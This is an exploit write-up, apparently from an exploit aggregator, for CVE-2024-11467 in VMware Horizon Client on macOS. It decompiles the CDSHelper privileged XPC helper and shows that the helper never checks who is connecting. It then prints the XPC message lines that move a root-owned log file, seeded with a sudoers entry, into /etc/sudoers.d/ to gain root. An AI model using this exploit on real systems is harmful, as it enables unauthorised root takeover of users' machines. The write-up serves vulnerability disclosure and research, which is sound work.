## https://sploitus.com/exploit?id=4E45E618-0C60-53A0-AA6E-C0398E88DE2D
# CVE-2024-11467
The macOS operating system uses XPC services for basic inter-process communication between various processes, such as between the XPC Service daemon and third-party application privileged helper tools. The VMware Horizon Client, upon installation, registers the com.vmware.horizon.CDSHelper privileged helper under the /Library/PrivilegedHelperTools/ directory.
It should also be noted that the mach name of com.vmware.horizon.CDSHelper is used by the privileged helper to listen for incoming XPC connections, as shown above.
Default macOS developer tools were then used to dump symbols from the helper binary in order to ascertain that it incorporated XPC behavior:
```
» nm -a /Library/PrivilegedHelperTools/com.vmware.horizon.CDSHelper | grep -i xpc
U __xpc_error_connection_invalid
U __xpc_error_key_description
U __xpc_type_connection
U __xpc_type_dictionary
U __xpc_type_error
U _xpc_connection_create_mach_service
U _xpc_connection_get_pid
U _xpc_connection_resume
U _xpc_connection_send_message
U _xpc_connection_set_event_handler
U _xpc_dictionary_create_reply
U _xpc_dictionary_get_remote_connection
U _xpc_dictionary_get_string
U _xpc_dictionary_set_int64
U _xpc_get_type
U _xpc_release
```
The Hopper Disassembler tool was then utilized to load the helper into a decompiler for further reverse engineering, as shown below:
open -a /Applications/Hopper\\ Disassembler\\ v4.app /Library/PrivilegedHelperTools/com.vmware.horizon.CDSHelper
The EntryPoint() function was located and reviewed, confirming that it represented the CDSHelper main entry.
The sub_100005fa0 function was then decompiled, thus confirming that the VMWare Horizon Client's privileged helper tool used the XPC services API -- this is the lower C level API that Apple provides, as opposed to the XPC connection API which resides on the Objective-C/Swift layer:
```
int sub_100005fa0(int arg0, int arg1) {
sub_1000063d4("Starting service: %s\n");
r0 = xpc_connection_create_mach_service(arg0, 0x0, 0x1);
xpc_connection_set_event_handler(r0, &var_38);
r0 = xpc_connection_resume(r20);
dispatch_main();
return r0;
}
```
After the mach service is created (via xpc_connection_create_mach_service(com.vmware.horizon.CDSHelper)), messages between the client and the Horizon Client's XPC service are exchanged via XPC dictionary objects created with the method xpc_dictionary_create().
Values can be added to this dictionary using methods Apple provides developers; these typically start with xpc_dictionary_set_*.
The client can send these XPC dictionary objects to the XPC service via methods like xpc_connection_send_*.
On the Horizon Client's XPC service end, a handler is registered that can handle the XPC dictionary objects received from the client. This is done using the method xpc_connection_set_event_handler().
Finally, values from the received XPC dictionary object are read using methods like xpc_dictionary_get_*.
After the EntryPoint() of the CDSHelper returns, the sub_100056d0 function is called:
At this point, execution passes to sub_1000056ec, which handles the bulk of the work of processing inbound XPC messages. The entirety of the decompiled function is provided below. The salient vulnerable portions are reviewed immediately afterwards.
```
int sub_1000056ec(int arg0, int arg1) {
r31 = r31 - 0x90;
var_30 = r24;
stack[-56] = r23;
var_20 = r22;
stack[-40] = r21;
var_10 = r20;
stack[-24] = r19;
saved_fp = r29;
stack[-8] = r30;
r19 = arg1;
var_38 = **___stack_chk_guard;
sub_1000063d4("CDSHelper: The cds helper will call HelperMain.\n");
r0 = xpc_dictionary_get_string(r19, "cdsjob");
if (r0 == 0x0) goto loc_1000057bc;
loc_100005738:
r20 = r0;
r0 = sub_1000063d4("CDSHelper: cdsJob is %s.\n");
if (strcmp(r20, "cdsjob_runscript") == 0x0) goto loc_100005818;
loc_100005760:
if (strcmp(r20, "cdsjob_movefile") == 0x0) goto loc_1000058c4;
loc_100005774:
if (strcmp(r20, "cdsjob_installpackage") == 0x0) {
if (**___stack_chk_guard == var_38) {
r0 = sub_100005498(r19);
}
else {
__stack_chk_fail();
}
}
else {
r0 = sub_100005380(r19, 0x16);
sub_100006434("NOT_REACHED %s:%d\n");
}
return r0;
loc_1000058c4:
r0 = sub_1000068b8();
if (r0 == 0x0) goto loc_100005980;
loc_1000058d4:
r22 = r0;
r0 = xpc_dictionary_get_string(r19, "cds_movefile_srcfile");
r20 = r0;
if (r0 == 0x0) goto loc_1000059b0;
loc_1000058f0:
r0 = xpc_dictionary_get_string(r19, "cds_movefile_dstdir");
r21 = r0;
if (r0 == 0x0) goto loc_1000059f8;
loc_100005908:
sub_1000069b8();
sub_1000069b8();
sub_100006998();
if (0x0 == 0x0) goto loc_100005a60;
loc_100005948:
sub_100006978();
sub_1000067b8();
r0 = "CDSHelper: Failed to move the file : %s.\n";
goto loc_100005a00;
loc_100005a00:
sub_1000063d4(r0);
goto loc_100005a04;
loc_100005a04:
r22 = 0x16;
strerror(0x16);
sub_1000063d4("CDSHelper: The cds moving failed : %s from %s to %s!\n");
goto loc_100005a24;
loc_100005a24:
r0 = r19;
r1 = r22;
goto loc_100005a2c;
loc_100005a2c:
r0 = sub_100005380(r0, r1);
if (**___stack_chk_guard != var_38) {
__stack_chk_fail();
}
return r0;
loc_100005a60:
sub_1000063d4("CDSHelper: The cds moving ran successfully!\n");
r22 = 0x0;
goto loc_100005a24;
loc_1000059f8:
r0 = "CDSHelper: Invalid parameter of moving: destination dir.\n";
goto loc_100005a00;
loc_1000059b0:
sub_1000063d4("CDSHelper: Invalid parameter of moving: source file.\n");
r21 = 0x0;
goto loc_100005a04;
loc_100005980:
sub_1000063d4("CDSHelper: Failed to get the invalid file manager.\n");
r21 = 0x0;
r20 = 0x0;
goto loc_100005a04;
loc_100005818:
r0 = xpc_dictionary_get_string(r19, "vmwareid");
if (r0 == 0x0) goto loc_100005960;
loc_10000582c:
r20 = r0;
r0 = xpc_dictionary_get_string(r19, "path");
if (r0 == 0x0) goto loc_10000596c;
loc_100005844:
r21 = r0;
if ((sub_100005df4(r20, "vmware-id") & 0x1) == 0x0) goto loc_100005998;
loc_10000585c:
r0 = xpc_dictionary_get_string(r19, "appDir");
if (r0 == 0x0) goto loc_1000059c4;
loc_100005870:
r22 = r0;
r0 = xpc_dictionary_get_string(r19, "tempDir");
if (r0 == 0x0) goto loc_1000059c4;
loc_100005888:
sub_100006460();
sub_1000063d4("CDSHelper: The cds script %s is running...\n");
r0 = sub_100005410(&var_60);
r20 = r0;
if (r0 == 0x0) {
r0 = "CDSHelper: The cds script ran successfully!\n";
}
else {
strerror(r20);
r0 = "CDSHelper: The cds script failed to run : %s!\n";
}
goto loc_1000059e8;
loc_1000059e8:
sub_1000063d4(r0);
r0 = r19;
r1 = r20;
goto loc_100005a2c;
loc_1000059c4:
r0 = "CDSHelper: Invalid parameter.\n";
goto loc_1000059cc;
loc_1000059cc:
sub_1000063d4(r0);
r20 = 0x16;
goto loc_1000059d4;
loc_1000059d4:
strerror(r20);
r0 = "CDSHelper: The cds script failed to run : %s!\n";
goto loc_1000059e8;
loc_100005998:
sub_1000063d4("CDSHelper: Invalid script codesigning for %s.\n");
r20 = 0xd;
goto loc_1000059d4;
loc_10000596c:
sub_1000063d4("CDSHelper: Invalid script path.\n");
r20 = 0x2d;
goto loc_1000059d4;
loc_100005960:
r0 = "CDSHelper: Invalid vmwareid.\n";
goto loc_1000059cc;
loc_1000057bc:
sub_1000063d4("CDSHelper: Invalid cdsJob.\n");
strerror(0x16);
r0 = sub_1000063d4("CDSHelper: The cds script failed to run : %s!\n");
if (**___stack_chk_guard == var_38) {
r0 = sub_100005380(r19, 0x16);
}
else {
__stack_chk_fail();
}
return r0;
}
```
As highlighted below, the privileged helper first obtains the value of the cdsjob using the xpc_dictionary_get_string() method. From here, there are three possible strings that the privileged helper is expecting:
- cdsjob_runscript
- cdsjob_movefile
- cdsjob_installpackage
Should the string comparison return a match for cdsjob_movefile, the CDSHelper resumes execution inside loc_1000058c4, as shown below. Two additional strings are checked via the xpc_dictionary_get_string() method:
- cds_movefile_srcfile
- cds_movefile_dstdir
After these two additional strings are obtained by the privileged helper, three additional functions are called at:
- sub_1000069b8
- sub_1000069b8
- sub_100006998
These functions were stepped into and presented below.
Returning a string created by copying the data from a given C array of UTF8-encoded bytes (https://developer.apple.com/documentation/foundation/nsstring/1497379-stringwithutf8string):
```
void sub_1000069b8() {
[r0 stringWithUTF8String:r2];
return;
}
```
Returning a second string:
```
void sub_1000069b8() {
[r0 stringWithUTF8String:r2];
return;
}
```
Moving the file or directory at the path specified by cds_movefile_srcfile to a new location at cds_movefile_dstdir (https://developer.apple.com/documentation/foundation/nsfilemanager/1413529-moveitematpath):
```
void sub_100006998() {
[r0 moveItemAtPath:r2 toPath:r3 error:r4];
return;
}
```
At this point, barring any file system errors, the CDSHelper successfully moves the file, logs the following message, and returns execution: CDSHelper: The cds moving ran successfully!
It should be noted that, during the course of this operation, the privileged helper does not perform any checks on the inbound client connection (e.g. via signature check using the SecRequirement string and the connection’s package identifier, team identifier, Apple certificate signing, etc.). Thus, a malicious actor can initiate a valid XPC connection and coerce the privileged helper to move arbitrary files with elevated privileges. This introduces the possibility of privilege escalation to full compromise of the operating system, as shown below.
The following XPC dictionary values were first set and sent in order to prove arbitrary root fileoverwrite:
```
xpc_dictionary_set_string(my_message, "cdsjob", "cdsjob_movefile");
xpc_dictionary_set_string(my_message, "cds_movefile_srcfile", "/private/tmp/ticket-Sf12p9");
xpc_dictionary_set_string(my_message, "cds_movefile_dstdir", "/private/tmp/ticket-Sf12p91337");
```
However, as a result of the CDSHelper initializing a file manager object using defaultManager instead of fileManagerWithAuthorization in the decompiled function sub_1000068b8, the privileged helper respects file ownership when moving files; i.e., files originally owned by non-root users do not become owned by root in the process of moving said files. As such, in order to escalate privileges by moving a file into a directory such as /etc/sudoers.d/, an adversary needs to locate a file that is already owned by root, is not world-writeable, and whose contents can be partially controlled prior to moving the file via the CDSHelper function.
As shown below, it is possible to partially control the contents of /var/log/install.log via the logger command-line utility; this is a file that fits the criteria of the exploit conditions:
```
» ls -la /var/log/install.log
-rw-r--r--@ 1 root admin 420902 Oct 20 18:46 /var/log/install.log
```
It is possible to insert a valid line of sudo config into the log file using logger, specifying the install.error priority and adding a new line using a carriage return.
The relevant lines from the exploit POC (see poc.c) to move the aforementioned log file into the /etc/sudoers.d/ directory as myfile are shown below:
```
xpc_object_t my_message;
my_message = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_string(my_message, "cdsjob", "cdsjob_movefile");
xpc_dictionary_set_string(my_message, "cds_movefile_srcfile", "/var/log/install.log");
xpc_dictionary_set_string(my_message, "cds_movefile_dstdir", "/etc/sudoers.d/myfile");
```
Note that, upon receiving a command run via sudo, the operating system will parse the log file, return to stdout multiple errors regarding the invalid syntax of the log entries in the process, and ultimately continue until it reaches the single line of valid syntax that has been injected.
Thus, the exploit successfully moves the injected log file into the /etc/sudoers.d/ directory and show it is possible to touch a new file located at /tmp/vmwarebeware via sudo, proving successfully privilege escalation on the underlying macOS operating system via the VMWare Horizon Client's privileged helper tool.